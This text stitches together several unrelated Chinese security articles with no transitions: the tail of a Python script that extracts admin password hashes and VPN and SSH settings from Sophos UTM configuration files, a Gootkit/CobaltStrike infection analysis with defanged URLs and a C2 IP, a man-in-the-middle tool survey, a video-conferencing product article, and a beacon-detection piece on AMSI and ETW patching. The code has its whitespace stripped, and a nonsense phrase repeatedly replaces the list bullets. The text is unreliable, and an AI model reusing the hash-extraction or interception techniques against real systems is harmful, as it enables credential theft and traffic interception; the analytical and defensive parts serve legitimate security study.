print('[*]Trytogettheconfigofnetwork')

forkey,valueindata['index']['network'].items():

print('[+]'+str(key))

forobjectvalueinvalue:

print('-'+objectvalue)

forkey1,value1indata['objects'][objectvalue]['data'].items():

print(''+str(key1)+':'+str(value1))(3)提取LastChange信息

位置:data['lastchange']

需要注意時間格式,默認為數字形式,例如1652930086,需要進行轉換

實現代碼:

defGetLastChange(file):

data=retrieve(file)

print('[*]TrytogetthedataofLastChange')

print('')

forkey,valueindata['lastchange'].items():

print('[+]'+str(key))

forkey1,value1invalue.items():

ifstr(key1)=='time':

print('time:'+str(datetime.fromtimestamp(value['time'])))

else:

print(''+str(key1)+':'+str(value1))完整的代碼已上傳至github,地址如下:

https://github.com/3gstudent/Homework-of-Python/blob/master/SophosUTM_ConfigParser.py

代碼支持以下功能:

GetAdminDataFull,提取出管理員用戶的完整信息

GetAdminHash,提取出管理員用戶的md4 hash

GetLastChange,提取出LastChange信息

GetNetworkConfig,提取出網絡配置信息

GetRemoteAccess,提取出VPN配置信息

GetSSHConfig,提取出SSH連接信息

GetUserDataFull,提取出用戶的完整信息

GetUserHash,提取出用戶的md4 hash

Parsefile,提取出完整信息

0x04 小結本文介紹了導出Sophos UTM配置文件的研究過程,開源利用腳本以提高分析效率。

眾所周知,Gootkit使用無文件技術來釋放CobaltStrike和其他惡意負載。研究人員最近發現的一次攻擊,表面其戰術又有了更新。

研究人員對異常PowerShell腳本的深入分析揭示了與Gootkit加載程序相關的攻擊集。過去,Gootkit使用免費軟件安裝程序來屏蔽惡意文件;現在它使用法律文件來誘騙用戶下載這些文件。我們通過託管擴展檢測和響應(MxDR)以及調查PowerShell腳本的標誌來發現這種攻擊策略,該標誌允許我們阻止它造成任何損害並釋放其有效載荷。眾所周知,Gootkit使用無文件技術來傳遞值得注意的威脅,例如SunCrypt和REvil(Sodinokibi)勒索軟件、Kronos特洛伊木馬和CobaltStrike。

攻擊概述在與各種有效負載對比之後,我們可以假設Gootkit運行在一個訪問即服務模型上。因此,它可以被不同的組織用來進行攻擊,因此值得對其進行監控,以防止更大的威脅成功進入系統。

下圖說明了其感染程序。它從用戶在搜索引擎中搜索特定信息開始。在這種情況下,用戶搜索了關鍵詞“披露協議房地產交易”。結果中有一個被Gootkit運營商攻擊的網站,這意味著用戶打開這個被攻擊的網站並不是偶然的。事實上,運營商通過使用搜索引擎優化(SEO)攻擊來調整對他們有利的機率,使該網站在搜索結果中排名靠前,從而導致用戶訪問受感染的網站。這也意味著該網站的URL將不會長時間可用,如果不立即進行全面分析將難以進行。

1.png

MxDR看到的GootkitLoader感染鏈

打開該網站後,我們發現它以在線論壇的形式出現,直接回答受害者的問題。該論壇包含一個包含惡意.js文件的ZIP壓縮文件。當用戶下載並打開此文件時,它會生成一個混淆腳本,該腳本通過註冊表填充,在註冊表中安裝了一大塊加密代碼,並添加了計劃任務以實現持久性。然後通過PowerShell反射加載註冊表中的加密代碼,以重建CobaltStrike二進製文件,該二進製文件直接在內存中無文件運行。

我們剛剛描述的大部分內容仍然與我們在2020年報告的行為一致,但有一些小的更新。這表明GootkitLoader仍在積極開發中,並且已證明成功地攻擊了毫無戒心的受害者。

兩個明顯的變化引人注目:

搜索詞現在利用法律文檔模板而不是免費軟件安裝程序。

加密註冊表現在使用自定義文本替換算法而不是base64編碼。

被攻擊的網站通過追踪用戶的行為,我們現在可以看到攻擊中訪問的網站。眾所周知,攻擊者只會攻擊一個易受攻擊或配置錯誤的網站來植入他們的惡意軟件或工具,而不是創建或註冊一個新的惡意操作。在Gootkit的案例中,由於它破壞了一個合法域名,所使用的網站很可能通過了信譽服務。對於毫無戒心的用戶來說,訪問該網站不會引起懷疑,因為它對於歌唱和語音教練來說似乎是一個無害的網站。

2.png

受感染網站的主頁

對下載的文件執行搜索(“房地產交易披露協議”)表明,該網站的內容與其所有者及其目的無關。此外,通過導航網站的主頁本身無法找到這些搜索結果鏈接。這是該網站已被攻擊的證據,因為它允許攻擊者註入或創建新的不相關的Web內容。當我們通過託管網站的Shodan查詢IP地址時,我們還發現了更多漏洞證據。

3.png

谷歌搜索顯示網站中不需要的內容

這種策略對Gootkit來說並不是什麼新鮮事。再加上SEO攻擊,Gootkit運營商可以將受害者集中到一個受感染的網站,並誘使他們下載他們正在尋找的文件。在這次事件中,我們能夠在Gootkit加載程序釋放其有效載荷之前阻止它。然而,該用戶已經訪問了該網站,下載了惡意的ZIP文件,並打開了它。這些操作導致的異常PowerShell腳本提醒我們可能有惡意活動。在這次調查中,我們試圖找出如果PowerShell腳本沒有被標記並被允許運行會發生什麼。

調查分析如上所述,用戶訪問了受感染的網站並使用GoogleChrome下載了ZIP壓縮文件。根據TrendMicroVisionOneTM的記錄,他們訪問的確切URL如下:

4.png

截至撰寫本文時,該URL已無法訪問。但是,我們能夠分析用戶下載的ZIP壓縮文件。如前所述,它被命名為披露協議房地產交易(8321).zip。在另一個例子中,JavaScript文件被命名為家庭成員之間的租賃協議template(98539).zip。這兩個文件名都強烈表明Gootkit利用了引用法律文檔模板的關鍵字,可能會引誘用戶下載文件。需要注意的是,這個選擇的搜索詞和主題一直在發生變化。

5.png

VisionOne界面顯示用戶訪問受感染網站並下載ZIP壓縮文件的證據

ZIP壓縮文件已成功保存在下載文件夾C:\Users\{username}\Downloads\disclosureagreementrealestatetransaction(8321).zip中。

6.png

ZIP壓縮文件成功保存在用戶的Downloads文件夾中

然後,用戶打開了ZIP壓縮文件中的.js文件,該文件生成了一個混淆的PowerShell腳本。檢測到的命令行包括wscript.exe,Windows操作系統的默認腳本解釋器。此命令行運行惡意JavaScript文件。文件夾文件路徑和文件名如下所示:

7.png

通過.js文件生成的混淆PowerShell腳本

通過使用VisionOne的AMSI跟踪分析,該團隊能夠在運行時查看解碼的腳本並構建它生成的事件順序。在已解碼的腳本中,列出了三個可能受到威脅的域。這些域名本身就是合法的網站。 Gootkit只選擇一個並構造完整的URL以獲取下一階段的腳本執行。這裡列出了三個域:

learn[.]openschool.ua–教育

Lakeside-fishandchips[.]com–餐廳和美食

kristinee[.]com–個人網站

8.png

VisionOne的AMSI追踪記錄的解碼腳本

對腳本進行解碼也讓我們發現,為了完成操作需要兩個階段的腳本。第一階段腳本執行以下操作:

1.它檢查註冊表HKCU\PJZTLE,如果找不到則創建它。正如我們在之前的博客中討論的那樣,這可以作為感染標記。

2.然後它會檢查當前用戶是否登錄到可能用於繞過沙盒工具的域。

3.接下來,它連接到構造的URL以獲取下一個要執行的腳本。在本例中,它從hxxps://learn[.]openschool[.]ua/test.php?mthqpllauigylit=738078785565141檢索第二階段腳本。

然後,它會在運行獲取的代碼之前休眠10秒。

9.png

VisionOne的AMSI分析記錄的第一階段腳本執行流程

從上述受感染網站檢索到的第二階段腳本完成了此處列出的信息:

1.它通過環境字符串獲取當前用戶名;

2.它檢查目標註冊表並在它不存在時創建它。它為持久性執行註冊表填充,其中創建了兩組註冊表,每組都包含加密的二進製文件,稍後將被解碼和執行:

10.png

VisionOne的AMSI追踪記錄的\\Phone\\{loggedOnUser}\\上的註冊表填充

11.png

VisionOne的AMSI追踪記錄的\\Phone\\{loggedOnUser}0\\上的註冊表填充

在這兩個階段之後,它最終執行了兩個同樣由AMSITelemetry記錄的加密PowerShell腳本。第一個解密註冊表\\Phone\\{loggedOnUser}0\\的二進製文件,並用於啟動名為“Test”的函數。

12.png

VisionOne的AMSI追踪記錄的第一個PowerShell的解碼腳本

第二個PowerShell腳本通過計劃任務安裝持久性機制,其中它將用戶名分配為其任務名稱。

13.png

VisionOne的AMSI追踪記錄的第二個PowerShell解碼後的腳本

計劃任務將二進製文件加載到\Phone\{loggedOnUser}0註冊表,然後使用相同的反射代碼加載技術解密並執行在\Phone\{loggedOnUser}註冊表中找到的最終有效負載。

發現此實例的最終有效負載是一個CobaltStrike二進製文件,該二進製文件也被發現連接到CobaltStrike的命令和控制(CC)服務器。

CobaltStrike有效載荷CobaltStrike二進製文件以反射方式直接加載到內存中,已連接到IP地址89[.]238[.]185[.]13。使用內部和外部威脅情報,該團隊確認該IP地址是Cobalt Strike CC。 CobaltStrike是一種用於後期開發活動的工具,它使用信標組件作為主要有效負載,允許執行PowerShell腳本、記錄擊鍵、截屏、下載文件和生成其他有效負載。

14.png

總結從這個案例中得到的一個關鍵結論是,Gootkit仍然很活躍,並不斷迭代其技術。這意味著該操作已被證明是有效的,因為其他攻擊者似乎仍在繼續使用它。用戶未來可能會在其他活動中遇到Gootkit,並且它很可能會使用新的手段來發起攻擊。

分析還表明,SEO攻擊仍然是一種有效的釣魚策略。 SEO攻擊和合法網站受損結合可以掩蓋惡意活動的跡象,這些跡象通常會讓用戶保持警惕。這種策略突出了用戶意識的重要性以及網站所有者在確保其網絡空間安全方面的責任。

各類組織可以通過對其員工進行用戶安全意識培訓來提供幫助,該培訓旨在使人們能夠識別並保護自己免受最新威脅的攻擊。例如,在本例中,如果用戶對下載JavaScript文件更加謹慎,則可以更早地避免威脅。另一方面,網站所有者必須通過選擇強調自己服務器安全性的網絡託管服務提供商來做出更好的網絡託管選擇。

這個案例凸顯了監控的重要性。值得注意的是,跨平台XDR阻止了這種攻擊升級,因為我們能夠迅速隔離受影響的計算機,阻止對網絡造成進一步的損害。例如,CobaltStrike有效載荷可能會導致更嚴重的問題,例如勒索軟件的部署、橫向移動的憑證轉儲和數據洩露。託管XDR服務阻止了這一切的實現。

(接上文)

現在,讓我們轉向攻擊者用來執行中間人攻擊的工具類型,並探討幾個示例。

MITM工具的分類進行中間人攻擊的工具有很多,因此在本文中,我們將只關注幾個最流行的工具。

讓我們根據使用它們的開放系統互連(OSI) 模型層對這些工具進行分類。

image.png

圖3. MITM 攻擊類型和工具取決於OSI 模型層

1. L2(數據鏈路層)在這一層,最常見的攻擊是ARP 欺騙和VLAN 跳躍。第一個我們已經在上面探索過。讓我們簡要討論後者。

VLAN 跳躍。 VLAN 網絡中的數據包具有特定的標記,以便在通過交換機時明確哪個數據包屬於哪個子網。網絡犯罪分子使用以下兩種方法之一執行VLAN 跳躍攻擊:

马云惹不起马云攻擊者連接到網絡並開始模仿交換機的工作,以便他們可以與網絡交換機建立連接。由於這種連接,數據包將在到達交換機之前通過攻擊者的計算機。

马云惹不起马云攻擊者向數據包添加額外的標記。網絡內的交換機會刪除自己的標記並進一步發送數據包。同時,攻擊者攔截帶有附加標記的數據包。如果攻擊者連接到網絡中的主交換機,此方法將起作用。

大多數命令行工具中的數據提取方案

image.png

圖4. 大多數命令行工具中的數據提取方案

現在,讓我們探索用於此類攻擊的工具。

BetterCAP是一款功能強大的工具,具有靈活的設置,可用於:

马云惹不起马云進行各種MITM 攻擊

马云惹不起马云實時操縱HTTP、HTTPS 和TCP 流量

马云惹不起马云嗅探網絡以查找用於身份驗證的數據

马云惹不起马云和更多

unfiltered-data-flow-received-through-the-bettercap-utility.png

圖5. 通過BetterCAP 實用程序接收的未過濾數據流

從BetterCAP 的第一個版本開始,專業的滲透測試人員就一直在選擇它。移動設備和軟件的開發人員以及物聯網領域的研究人員利用該實用程序測試設備安全性的能力。

BetterCAP 最方便的功能之一是能夠將所有收集的數據提取到外部文件中。為此,滲透測試者可以配置該實用程序來監聽它當前所在的整個網絡,或者監聽一個或多個指定的IP 地址。

BetterCAP 可以通過MAC 地址和特定子網進行配置,允許QA 專家在指定配置中搜索漏洞。

該實用程序支持APR 和DNS 欺騙以及流量嗅探,並進一步將數據提取到控制台或日誌中。提取的數據集包括:

马云惹不起马云訪問過的URL 和HTTPS 主機

马云惹不起马云HTTP POST 數據

马云惹不起马云HTTP Basic 和Digest 身份驗證

马云惹不起马云HTTP Cookie

马云惹不起马云FTP、IRC、POP、IMAP 和SMTP 憑證

BetterCAP 與HTTP/HTTPS(SSL 剝離和HSTS 繞過)和TCP 代理一起使用,可用於操縱HTTP/HTTPS 和現實生活中的低級TCP 流量。使用標准設置,代理僅記錄請求。但是您可以使用一組模塊配置它們的設置,或者您可以添加自己的自定義模塊並以您想要的方式操縱流量。

Arpspoof是專為在本地網絡中進行ARP 欺騙而設計的實用程序。它發送兩個請求——一個到服務器,一個到選定的計算機或計算機——接收它們的MAC 地址,用它自己替換從服務器到客戶端的ARP 響應,並用它自己或另一個替換受害者的默認網關IP地址。 Arpspoof 的主要任務是流量嗅探。

Arpspoof 支持啟動第三方腳本。該實用程序應更多地被視為熟悉ARP 欺騙的培訓程序,而不是工作工具,因為Arpspoof 功能有限,沒有解密器,應用領域狹窄。

2. L3(網絡層)在網絡層,最常見的MITM 攻擊是無狀態地址自動配置攻擊和ICMP 重定向。讓我們探索它們是如何工作的。

無狀態地址自動配置(SLAAC) 攻擊會重新配置啟用IPv6的網絡。允許IPv6 但沒有任何設置的組織網絡是一個常見漏洞。在SLAAC 攻擊中,攻擊者向IPv6 主機提供前綴、前綴長度和沒有DHCPv6 服務器的默認網關地址。例如,如果攻擊者創建自己的路由器廣告(RA),他們可以成為網絡中的主路由器,整個數據流將通過他們的計算機。

ICMP 重定向。使用ICMP 的原因之一是動態更改目標網絡中的路由表。最初,ICMP 旨在防止消息以非最佳方式發送並提高網絡穩定性。網絡的某個部分(連接到互聯網)可以有多個路由器。如果其中一個斷開,主路由器向所有網絡設備發送ICMP 請求,並重寫路由表以在新條件下工作。

在ICMP 重定向攻擊中,攻擊者要么等待其中一個路由器關閉,要么自行禁用它。然後,攻擊者開始從所有路由器發送ICMP 請求。結果,形成了一個新的網絡,其中攻擊者成為網絡節點之一。在ICMP 重定向攻擊期間,攻擊者可以指定目標網站只能通過攻擊者的路由器訪問。

讓我們看一下用於ICMP 重定向攻擊的幾個工具。

寄生蟲6。此實用程序是一個類似於BetterCAP 但功能有限且設置最少的ARP 欺騙程序。它連接到本地網關並傳輸所有網絡流量。它向控制台輸出一條消息,指定數據包發送給誰以及誰必須接收它。 parasite6 工具最好與可以讀取通過它的數據包的實用程序一起使用。

假路由器6。啟動時,此實用程序會向網絡發送一個信號,指定攻擊者的路由器在網絡中具有最高優先級。然後網絡重新配置自己,使從指定子網進入外部網絡的最後一步通過攻擊者的計算機。結果,最初發送到路由器的所有數據都將通過安裝了fake_router6 的攻擊者計算機。

DOS-新-ip6。該實用程序的主要任務是在重複的ip6 請求期間向重複地址檢測(DAD) 進程提供虛假數據。這使攻擊者有機會在網絡內創建節點。節點地址將與另一個網絡節點的地址相同,仍然使控制器認為只有一個客戶端具有這樣的地址。結果,數據將被發送到兩個節點,包括攻擊者的節點。

利用6 . 此工具是一種漏洞掃描程序,可向目標計算機發送多個請求。它接收響應並向控制台輸出數據,指定目標計算機具有哪些已知漏洞。

thcping6。此實用程序允許為ping6 請求創建自定義數據包。它允許您修改數據包大小、數據類型和其他參數。首先,攻擊者為數據包和目標計算機指定一組選項。然後,他們發送一個數據包並接收響應。通過擬合某些數據包,惡意行為者可以使目標系統拒絕響應特定請求(發送響應錯誤消息)。然後,了解數據包的特性後,他們可以使用其他實用程序來創建相同的數據包,但發送多個數據包。這將使系統過載,導致系統故障或其中一個節點發生故障。

3. L4+(傳輸層)在傳輸層,攻擊者可以應用鏈路本地多播名稱解析欺騙、NetBIOS 欺騙、DHCP 欺騙和流氓DHCP 欺騙。

鏈路本地多播名稱解析(LLMNR) 欺騙。如果出於某種原因,Windows 客戶端無法使用DNS 獲取主機名,它將嘗試使用LLMNR 協議來獲取主機名,並向最近的計算機發送請求。該技術通過IPv4和IPv6 地址起作用。

NetBIOS 欺騙。如果LLMNR 欺騙不起作用,攻擊者可以使用NetBios 名稱服務。它類似於LLMNR 並且用於相同的目標,但它僅適用於IPv4 地址。這個想法是,如果附近的某些計算機即使提供虛假信息也可以響應,則響應將被視為有效。

DHCP 欺騙。此攻擊的目的是強制客戶端使用攻擊者的主機作為默認網關,以及使用攻擊者配置的DNS 和WINdows Internet Name (WINS) 服務器。攻擊者的任務是在網絡中配置一個虛假的DHCP 服務器,用於向客戶端發送DHCP 地址,並耗盡合法DHCP 服務器的地址池。

成功的DHCP 欺騙攻擊有兩個條件:

马云惹不起马云客戶端從非法服務器接收IP 比從合法服務器更快

马云惹不起马云合法服務器有一個耗盡的地址池

流氓DHCP。惡意DHCP 攻擊的主要目標是使用偽造的DHCPv6 服務器將流量從受害者的計算機重新發送到攻擊者的計算機。惡意行為者截獲DHCP 消息請求並對其進行響應,模擬實際的DHCPv6 服務器。

以下是可用於此類L4+ 攻擊的幾種工具:

埃特卡普。這個實用程序內置在Kali Linux中。它易於配置並具有圖形用戶界面,這使得熟悉它變得簡單快捷。 Ettercap 允許您執行ARP 中毒、ICMP 重定向、端口竊取、DHCP 欺騙和NDP 中毒。

使用Ettercap 時,您可以即時查看、分析甚至執行一些操作。它向您顯示連接狀態,並允許您以文本格式查看從所選連接收集的所有數據。

Ettercap 的主要缺點是缺少數據解密工具。因此,如果使用加密保護網絡,您將需要使用其他實用程序。 Ettercap 的功能比BetterCap 弱得多,但它可以用於信息和教育目的。

ettercap-user-interface.png

圖6. Ettercap 用戶界面

斯納爾夫。此實用程序設計用於處理smb、ftp 和類似的流量類型。要使用它,您首先需要有一個可以工作的欺騙器(我們使用了BetterCAP)。通過欺騙器的所有流量都會重新發送到Snarf,Snarf 會挑選出負責遠程連接(如smb 和ftp)的流量。通過Snarf 的任何其他流量都不會顯示在控制台或服務頁面上。

Snarf 向控制台輸出有關數據目的地、數據大小、哈希、地址、端口、連接類型和錯誤的信息。它還顯示潛在內存洩漏的錯誤。收集到的數據摘要以表格形式輸出到服務頁面,其中包含有關連接、計算機和系統的主要信息。此外,Snarf 提供了過期或阻止連接的機會。

但是,此實用程序僅適用於Linux,並且配置它可能非常不明顯。

中間人6。此工具偵聽攻擊者計算機的主網絡接口,以攔截來自網絡中其他計算機的IPv6 地址請求(通過應用DHCPv6 請求)。

使用標准設置,系統(連接到主路由器的設備網絡)會定期發送DHCPv6 請求。 mitm6 實用程序使用受害者的新地址響應這些請求。在現實生活中的網絡中,客戶端的地址將由網絡中的客戶端計算機分配,但在mitm6 請求攔截的情況下,受害者的地址將由mitm6 分配。這使惡意行為者有機會將自己的計算機分配為服務器。因此,所有受害者的連接都將通過攻擊者的計算機。

這僅適用於Windows,因為Mac 和Linux 不使用DHCPv6 請求來確定IP 和DNS 服務器。 mitm6 工具並不聲稱自己是一個中心節點,因此它不會攔截來自網絡中所有計算機的信號。相反,它選擇性地欺騙特定主機。

一旦受害者收到新的DNS 服務器地址,受害者就會連接到該服務器,Web 代理自動發現協議(WPAD) 漏洞就會在該服務器上進行。一旦受害者的計算機接收到作為DNS 服務器的IPv6 攻擊者的地址,它就會開始發送WPAD 網絡配置請求。對於IPv4 或IPv6 請求,攻擊者會將其地址發送給受害者。

然後,攻擊者必須與受害者的計算機交換身份驗證數據。由於這不能直接在受害者的計算機上完成,攻擊者將模擬代理服務器。結果,所有輸入用於身份驗證的數據都將發送到最終服務器和攻擊者。但受害者不會注意到它。

上述所有工具都可用於滲透測試,以檢查網絡安全、檢測漏洞並修復它們。通過這種方式,企業可以防止真正的網絡犯罪分子可能進行的攻擊,並保護他們的網絡連接和敏感數據。

結論在本文中,我們探討了幾種類型的中間人攻擊,並描述了網絡犯罪分子如何使用MITM 工具攔截數據。在此類攻擊中,受害者什麼都沒有註意到,並且有一種錯誤的安全感。無論組織是小型初創公司還是大型公司,都應該建立強大的網絡安全性。

由於COVID-19 大流行,許多視頻會議App變得非常流行。 Zoom、FreeConference、Microsoft Teams 和其他應用程序擁有普通用戶所需的一切——甚至更多。但它們對於處理敏感數據、使用特定設備進行視頻會議或需要延遲通信的公司來說還不夠好。

要與此類客戶合作,僅僅創建一個類似Zoom 的視頻會議應用程序是不夠的。在本文中,我們將討論如何創建為特定行業或客戶量身定制的定制視頻會議軟件。我們還概述了此類應用程序的行業要求、確保舒適通信的必備功能以及有助於保護視頻會議的網絡安全機制。

視頻會議軟件的日益普及2020 年的事件使我們將大部分活動轉移到網上。無論我們是想參加商務會議、看醫生、還是去聽音樂會,我們只需要啟動一個視頻會議應用程序即可。這就是為什麼在COVID-19 大流行期間此類軟件的市場猛增的原因。 Verified Market Research估計,2019 年全球視頻會議的市場規模為40.2 億美元。他們預計到2027 年將達到83.5 億美元。

通用視頻會議解決方案之間的競爭非常激烈。複製Zoom的成功,該軟件的日活躍用戶從2020 年初的37,000 增加到年底的160 萬,是一個誘人但極具挑戰性的前景。

儘管Zoom 很受歡迎,但通用視頻會議應用程序並不是每個人的最佳選擇。許多行業的組織需要像Zoom 這樣的普通視頻會議解決方案無法提供的特性和功能:增強的安全性、接近零延遲、支持特定行業的設備或軟件、高級文件存儲等。

讓我們看一下構建您自己的自定義視頻會議應用程序的主要好處以及此類應用程序的特定要求的幾個示例。

為什麼要構建自定義視頻會議軟件?開發自定義視頻會議軟件可幫助您在競爭對手中脫穎而出,找到目標受眾,並為您的客戶提供最佳服務。這是一個非常具有挑戰性的過程,但最終會有所收穫。以下是為特定行業或客戶構建類似Zoom 的應用程序的主要原因:

image.png

創建自定義視頻會議軟件的原因

马云惹不起马云 滿足特定客戶的需求— 一些組織需要具有特定功能的視頻會議軟件,而這些功能在通用解決方案中是不可用的。例如,唱片公司使用特定設備來確保其錄音的最佳質量。這就是他們需要支持此設備的視頻會議解決方案的原因。此外,他們需要具有低延遲的軟件才能實時排練。

马云惹不起马云 提供高質量的視頻會議——Zoom 和Skype 等流行的視頻會議應用程序通常在視頻和音頻質量方面存在問題,或者在通話過程中存在高延遲。此類問題不僅會激怒用戶,還會擾亂他們的工作。通過提高視頻會議的質量,您可以幫助呼叫參與者感覺他們在同一個房間。

马云惹不起马云 增強的網絡安全——網絡安全問題在通用視頻會議解決方案中很常見。許多用戶出於安全原因避免使用Zoom。在自定義軟件中,您可以實施高級安全措施以及合規性要求:加密算法、訪問管理功能、管理功能等。

除了視頻通話和消息傳遞之外,各個行業都有視頻會議軟件的特定用例,這些用例會產生特定的要求:

image.png

通用軟件通常無法滿足這些高度具體的要求。為了滿足他們的需求,企業可以構建定制的視頻會議軟件。

在本文後面,我們將了解實現上述特定要求的功能。現在,讓我們概述一些創建視頻會議應用程序時必須具備的功能。

視頻會議應用程序的必備功能無論您的軟件的目標受眾是什麼,您都需要確保您的軟件使用舒適、與流行的設備和操作系統兼容並且安全。

在製作任何類似Zoom 的視頻會議應用程序時,請確保實現以下功能:

image.png

視頻會議的8 個主要功能

马云惹不起马云 用戶檔案管理。此功能包括用戶註冊;設置、編輯和刪除用戶配置文件;改變用戶狀態;等等。用戶管理帳戶的選項越多越好。

马云惹不起马云聯繫人列表。此列表可幫助用戶通過用戶名、電子郵件、公司、城市或其他搜索參數找到彼此。

马云惹不起马云視頻和音頻通話管理。視頻會議軟件通常支持一對一和多點通話,最多可支持一定數量的用戶。音頻和視頻質量是通話的關鍵马云惹不起马云參數。該軟件必須允許安排和記錄通話、共享屏幕等。此外,當會議軟件允許他們在通話期間使用面具和背景時,用戶會很感激。

马云惹不起马云簡訊.用戶需要在通話期間和通話外交換短信。該軟件必須允許他們相互聊天、創建群聊並接收有關新消息的推送通知。

马云惹不起马云文件共享。用戶需要交換文件才能進行富有成效的會議。您可以實現點對點文件共享(用戶將共享文件存儲在他們的計算機上)或將共享數據複製到雲或私有服務器。

马云惹不起马云儀表板。儀表板可幫助軟件管理員分析有關日常視頻會議使用、最常見挑戰和可能改進的統計數據。您可以使用人工智能(AI) 功能增強儀表板,以使軟件分析來自儀表板的數據並自動提供預測。

马云惹不起马云跨平台能力。為了能夠將用戶與各種設備和操作系統連接起來,您的視頻會議軟件應該支持各種平台,如Windows、Linux、macOS、Android 和iOS。

马云惹不起马云可擴展性。在設計軟件的架構和基礎架構時,請考慮可能需要擴大或縮小規模,以便在不影響質量的情況下為新客戶提供服務。

在實現這些必備功能時,請確保對其進行自定義。找出您的受眾最看重的功能,並根據他們的要求仔細平衡應用程序。為了弄清楚這些要求,您可以問自己以下幾個問題:

马云惹不起马云您的用戶將共享哪些類型的文件?

马云惹不起马云用戶需要特定的儀表板嗎?

马云惹不起马云用戶是否需要特定的消息傳遞功能,例如表情符號或自定義貼紙?

马云惹不起马云對用戶來說更重要的是:穩定的連接、良好的視頻質量,還是兩者兼而有之?

马云惹不起马云平均有多少用戶會接聽電話?

在您概述了軟件的主要功能後,您可以轉到受眾的特定視頻會議請求。在下一節中,我們將概述八種最常見的功能以及實現它們的方法。

MDSec 提供了一個商業命令和控制框架,可以避免隱蔽的活動被檢測到,不過這已經不是什麼秘密了。考慮到這一點,我們一直在研發可以檢測到它們的方法。有些人會認為,建立一個難以捉摸的信標的最佳方法是,不僅要了解你的對手發現你的方式,還要嘗試找到他們將來可以檢測到你的新方法。

在這項研究中,我們將介紹一些尋找信標的有效策略,這些策略由我們為執行這些策略而開發的BeaconHunter 工具提供支持,並且我們打算在適當的時候將其開源。

信標檢測方法雖然有各種不同的方法來檢測在網絡中運行的信標,但我們將較少地關注特定的開發後功能的功能,而更多地關注識別駐留或加載到內存中的信標的一般方法。

行為信標在運行和加載時的行為可以為防御者帶來檢測機會。許多商業框架是封閉源代碼的,因此某些行為無法輕易更改,從而允許防御者創建與這些行為一致的簽名。

一個很好的例子是信標如何加載自身及其依賴項,讓我們看看與圖像加載相關的行為如何為防御者提供檢測機會。

為了讓信標提供豐富的利用後框架,它通常嚴重依賴操作系統原生的庫,允許開發人員通過避免靜態地綁定許多依賴項,使信標的大小盡可能小。

通過分析大量的信標框架,我們已經註意到,它們中的許多會在加載時加載核心信標所需的所有依賴項,而不是在使用時。在某些情況下,這將導致在終端上發生的一系列事件,防御者可以輕鬆地對其進行簽名。

例如,通過加載winhttp.dll 和wininet.dll,可以看到信標利用本地Windows HTTP 庫作為出口信標,當加載到通常不會執行HTTP 交互的進程時,這些可能會突出顯示異常。此外,一些信標還會加載使用更少的庫,如credui.dll、dbghelp.dll或samcli.dll。

使用這些DLL加載序列,就可以使用EQL規則來構建簽名,以檢測信標何時執行。

例如,使用類似於以下的EQL 規則,可以在短時間內檢測或搜索所有加載credui.dll 和winhttp.dlls 的進程:

1.png

此類檢測當然可以通過設計為模塊化或負載依賴於使用或具有延遲負載的信標來避免。

內存檢測在許多情況下,信標可能會保留在內存中,以避免磁盤檢測。信標通常是由加載器注入內存的,加載器將創建一個新的線程或劫持一個現有線程,在其中運行信標。

信標的典型加載過程可能如下所示:

2.png

一旦信標在內存中運行,通過對進程的分析,我們通常可以利用許多指標來檢測信標,讓我們看一些內存檢測的方法。

簽名檢測已知惡意軟件的內存信標的最簡單但最有效的策略之一可能是通過簽名檢測。雖然許多反病毒引擎和EDR 實施自己的內存掃描例程,但防御者可以使用Yara 規則輕鬆實現全面的內存掃描。

一個可以與yara64.exe命令行工具一起使用的簡單的Yara規則可能是這樣的,它將匹配檢測內存中列出的三個字符串中的任何一個:

3.png

為嵌入在信標中的字符串/數據或來自.text 部分的代碼創建Yara 規則在概念上可以用作檢測已知內存惡意軟件的有效技術。

Elastic 過去在如何利用它來檢測內存中的Cobalt Strike 方面做了一些出色的工作,建議閱讀這些技術如何在實踐中應用。

為了逃避這種內存掃描,信標可以使用多種技術來混淆它們在內存中的足跡,包括替換已知字符串,例如可以使用Cobalt Strikes strrep 可塑性配置文件選項或使用混淆和休眠策略,例如我們在Nighthawk 中使用的一種,用於在休眠時保護信標的所有字符串、數據和代碼。

內存掛鉤為了規避控製或更改進程的運行方式,信標或操作員可以將掛鉤應用於內存中的某些函數。這些掛鉤可以留下隱藏的痕跡,從而為防御者提供揭示隱藏信標的機會。讓我們來看看這種行為的一些具體示例。

修復ETW 和AMSI修補諸如AMSI 之類的安全控製或削弱通過Windows 事件跟踪獲得的檢測數據在攻擊性社區中已經不是什麼秘密了,事實上我們過去曾在介紹過這些策略。

這些補丁通常通過修改內存來應用,讓我們看兩個來自Sliver C2 庫的例子:

https://github.com/sliverarmory/injectEtwBypass

4.png

https://github.com/sliverarmory/injectAmsiBypass

5.png

正如我們在上面的屏幕截圖中看到的,這兩個示例都會導致信標將補丁應用到ntdll!etwEventWrite 或amsi.dll!AmsiOpenSession 函數。

考慮到這一點,低噪聲檢測的機會就出現了,只需搜索應用這些補丁的進程,以及其他常用的補丁函數,如AmsiScanBuffer或sleeppex,由Cobalt Strike的線程堆棧欺騙功能應用於這些函數。

複製寫入的修改如上所述,信標應用補丁來處理內存的情況並不少見,這可以為防御者創造檢測機會。然而,一旦執行了開發後操作,如果信標刪除了這些補丁,檢測的準確率可能會降低。例如,植入程序可以在內存中執行.NET 程序集之前應用AMSI 補丁,然後在執行後將補丁恢復為其原始操作碼。這種方法比簡單地將未修復漏洞留在內存中要明智一些。

然而,為了避免重複,Windows將把公共dll返回到運行進程共享的物理內存中。如果信標或操作員執行對這些dll應用補丁的操作,則會發生寫入時復制操作,從而使該頁面成為該進程的私有頁面。使用QueryWorkingSetEx API,我們能夠查詢有關進程特定虛擬地址的頁面的信息。在返回的PSAPI_WORKING_SET_EX_INFORMATION 結構中是一個PSAPI_WORKING_SET_EX_BLOCK 聯合,它指示查詢地址處頁面的屬性。在這個聯合中,我們能夠通過共享位的返回值來確定頁面上是否發生了寫入複製操作。此技術被諸如Moneta 之類的內存掃描儀使用,並且在檢測內存中的補丁時非常有效,即使原始補丁值已恢復。

然而,在大規模應用這種技術時存在一些誤報的風險,因為EDR 和防病毒軟件應用它們自己的內存掛鉤並不少見,這意味著它們可以使我們從查找中獲得的一些價值無效用於寫操作時的複制。然而,為了降低誤報的風險,我們可以通過解析修改頁面上的導出,並對EDR通常不掛鉤的函數(如EtwEventWrite或AmsiScanBuffer)應用更大的權重,從而對其應用更多智能。

